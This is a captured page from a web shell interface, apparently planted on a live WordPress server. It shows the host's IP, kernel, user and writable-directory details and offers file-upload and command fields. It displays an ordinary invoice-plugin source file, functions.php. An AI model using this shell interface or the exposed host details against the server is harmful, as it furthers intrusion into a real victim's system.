403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/omapart.ru/wp-content/plugins/mphb-invoices/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/omapart.ru/wp-content/plugins/mphb-invoices/includes/functions.php
<?php

/**
 * @return \MPHB\Addons\Invoice\Plugin
 */
function mphbinvoice()
{
    return \MPHB\Addons\Invoice\Plugin::getInstance();
}


/**
 * Add 'Invoice' button to 'Bookings' table
 * @return array $actions
 */

function mphb_invoice_add_print_button( $actions, $id ) {
    global $post, $current_screen, $mode;

    $post_type_object = get_post_type_object( $post->post_type );
    if ( $current_screen->id !== 'edit-mphb_booking' )
        return $actions;
    if ( ! current_user_can( $post_type_object->cap->delete_post, $post->ID ) )
        return $actions;
    $booking = MPHB()->getBookingRepository()->findById( $post->ID );
    if ( $booking->isImported() )
        return $actions;
    $nonce = wp_create_nonce('mphb-invoice');
     $action       = NULL;
     $archive_link = admin_url( 'admin.php?post=' . $post->ID . '&action=mphb-invoice&_wpnonce='.$nonce );


    $actions['mphb-invoice'] = '<a target="_blank" href="' . $archive_link
        . '" title="'
        . esc_attr( __( 'Open invoice in PDF', 'mphb-invoices'  ) )
        . '">' . __( 'Invoice', 'mphb-invoices' ) . '</a>';

    return $actions;
}


/**
 * Print PDF action
 * @return void
 */
 function mphb_invoice_action_printpdf () {

    if ( ! ( isset( $_GET['post']) || ( isset( $_REQUEST['action']) && 'mphb-invoice' == $_REQUEST['action'] )) ) {
        wp_die( __( 'No booking found!', 'mphb-invoices' ) );
    }

    if(wp_verify_nonce($_REQUEST['_wpnonce'],'mphb-invoice') && current_user_can( 'edit_posts' )){
        $id = (int) ( isset( $_GET['post']) ? $_GET['post'] : $_REQUEST['post']);
        if ( $id ) {
            mphbinvoice()->pdf()->printPdf($id);
            exit;
        } else{
            wp_die( __( 'No booking found!', 'mphb-invoices' ) );
        }
    } else {
        wp_die( __( 'You don\'t have permissions for this action!', 'mphb-invoices' ) );
    }

}

function mphb_invoice_add_secure_pdf_link (  ) {
     $add_link = get_option('mphb_invoice_add_link_to_confirmation', false);
     $html = '';
     if($add_link){
         $html = '<div class="mphb-booking-details-section invoice"><p><a class="invoice-link" target="_blank" href="' .
            add_query_arg( array(
                'action' => "mphp-print-invoice"
            ) )
            . '">' .
			__( 'View Invoice', 'mphb-invoices' ) . '</a></p></div>';
     }
     echo $html;

}
function mphb_invoice_analyze_request(){
    if(isset($_GET['action'])&& sanitize_text_field($_GET['action']) === 'mphp-print-invoice' ){

        $booking_id = isset($_GET['booking_id'])?sanitize_text_field($_GET['booking_id']):false;
        $payment_id = isset($_GET['payment_id'])?sanitize_text_field($_GET['payment_id']):false;

        if($booking_id && isset($_GET['booking_id'])){
            $bookingKey = sanitize_text_field($_GET['booking_key']);
            $booking = MPHB()->getBookingRepository()->findById( $booking_id );
            if($booking->getKey() == $bookingKey) {
                mphbinvoice()->pdf()->printPdf($booking_id);
                die();
            }else {
                die(  __( 'No booking found!', 'mphb-invoices' ) );
            }

        } else if($payment_id && isset($_GET['payment_key'])){
            $paymentKey = sanitize_text_field($_GET['payment_key']);
            $payment = MPHB()->getPaymentRepository()->findById( $payment_id );
            $booking = MPHB()->getBookingRepository()->findByPayment( $payment_id );
            if($payment->getKey() == $paymentKey) {
                mphbinvoice()->pdf()->printPdf($booking->getId());
                die();
            } else {
                die(  __( 'No booking found!', 'mphb-invoices' ) );
            }

        } else {
            die(  __( 'No booking found!', 'mphb-invoices' ) );
        }

    }
}

/**
 * @return string "Region/City" or "UTC+2".
 */
function mphb_invoice_get_wp_timezone()
{
    $timezone = get_option('timezone_string', '');

    if (empty($timezone)) {
        $gmtOffset = (float)get_option('gmt_offset', 0); // -2.5

        $hours = abs((int)$gmtOffset); // 2

        $minutes = abs($gmtOffset) - $hours; // 0.5
        $minutes = round($minutes * 4) / 4; // Only 0, 0.25, 0.5, 0.75 or 1
        $minutes = (int)($minutes * 60); // Only 0, 15, 30, 45 or 60

        if ($minutes == 60) {
            $hours++;
            $minutes = 0;
        }

        $timezone = $gmtOffset >= 0 ? 'UTC+' : 'UTC-';
        $timezone .= $hours;

        if ($minutes > 0) {
            $timezone .= ':' . $minutes;
        }
    }

    return $timezone;
}

/**
 * @param string $file
 * @return string
 */

function mphb_invoice_url_to($file)
{
    return \MPHB\Addons\Invoice\PLUGIN_URL . $file;
}

function mphb_invoice_use_edd_license()
{
    return (bool)apply_filters('mphb_invoice_use_edd_license', true);
}

/**
 *
 * @since 1.0.3
 *
 * @return array
 */
function mphb_invoice_unsupported_symbols()
{
    return array(
        'AED' => '&#x62f;.&#x625;',
        'AFN' => '&#x60b;',
        'BDT' => '&#2547;&nbsp;',
        'BHD' => '.&#x62f;.&#x628;',
        'BTC' => '&#3647;',
        'CRC' => '&#x20a1;',
        'DZD' => '&#x62f;.&#x62c;',
        'GEL' => '&#x20be;',
        'GHS' => '&#x20b5;',
        'ILS' => '&#8362;',
        'INR' => '&#8377;',
        'IQD' => '&#x639;.&#x62f;',
        'IRR' => '&#xfdfc;',
        'IRT' => '&#x062A;&#x0648;&#x0645;&#x0627;&#x0646;',
        'JOD' => '&#x62f;.&#x627;',
        'KHR' => '&#x17db;',
        'KPW' => '&#x20a9;',
        'KRW' => '&#8361;',
        'KWD' => '&#x62f;.&#x643;',
        'LAK' => '&#8365;',
        'LBP' => '&#x644;.&#x644;',
        'LKR' => '&#xdbb;&#xdd4;',
        'LYD' => '&#x644;.&#x62f;',
        'MAD' => '&#x62f;.&#x645;.',
        'MNT' => '&#x20ae;',
        'MUR' => '&#x20a8;',
        'MVR' => '.&#x783;',
        'NPR' => '&#8360;',
        'OMR' => '&#x631;.&#x639;.',
        'PHP' => '&#8369;',
        'PKR' => '&#8360;',
        'PYG' => '&#8370;',
        'QAR' => '&#x631;.&#x642;',
        'RUB' => '&#8381;',
        'SAR' => '&#x631;.&#x633;',
        'SCR' => '&#x20a8;',
        'SDG' => '&#x62c;.&#x633;.',
        'SYP' => '&#x644;.&#x633;',
        'THB' => '&#3647;',
        'TND' => '&#x62f;.&#x62a;',
        'TRY' => '&#8378;',
        'UAH' => '&#8372;',
        'YER' => '&#xfdfc;'
    );
}

Youez - 2016 - github.com/yon3zu
LinuXploit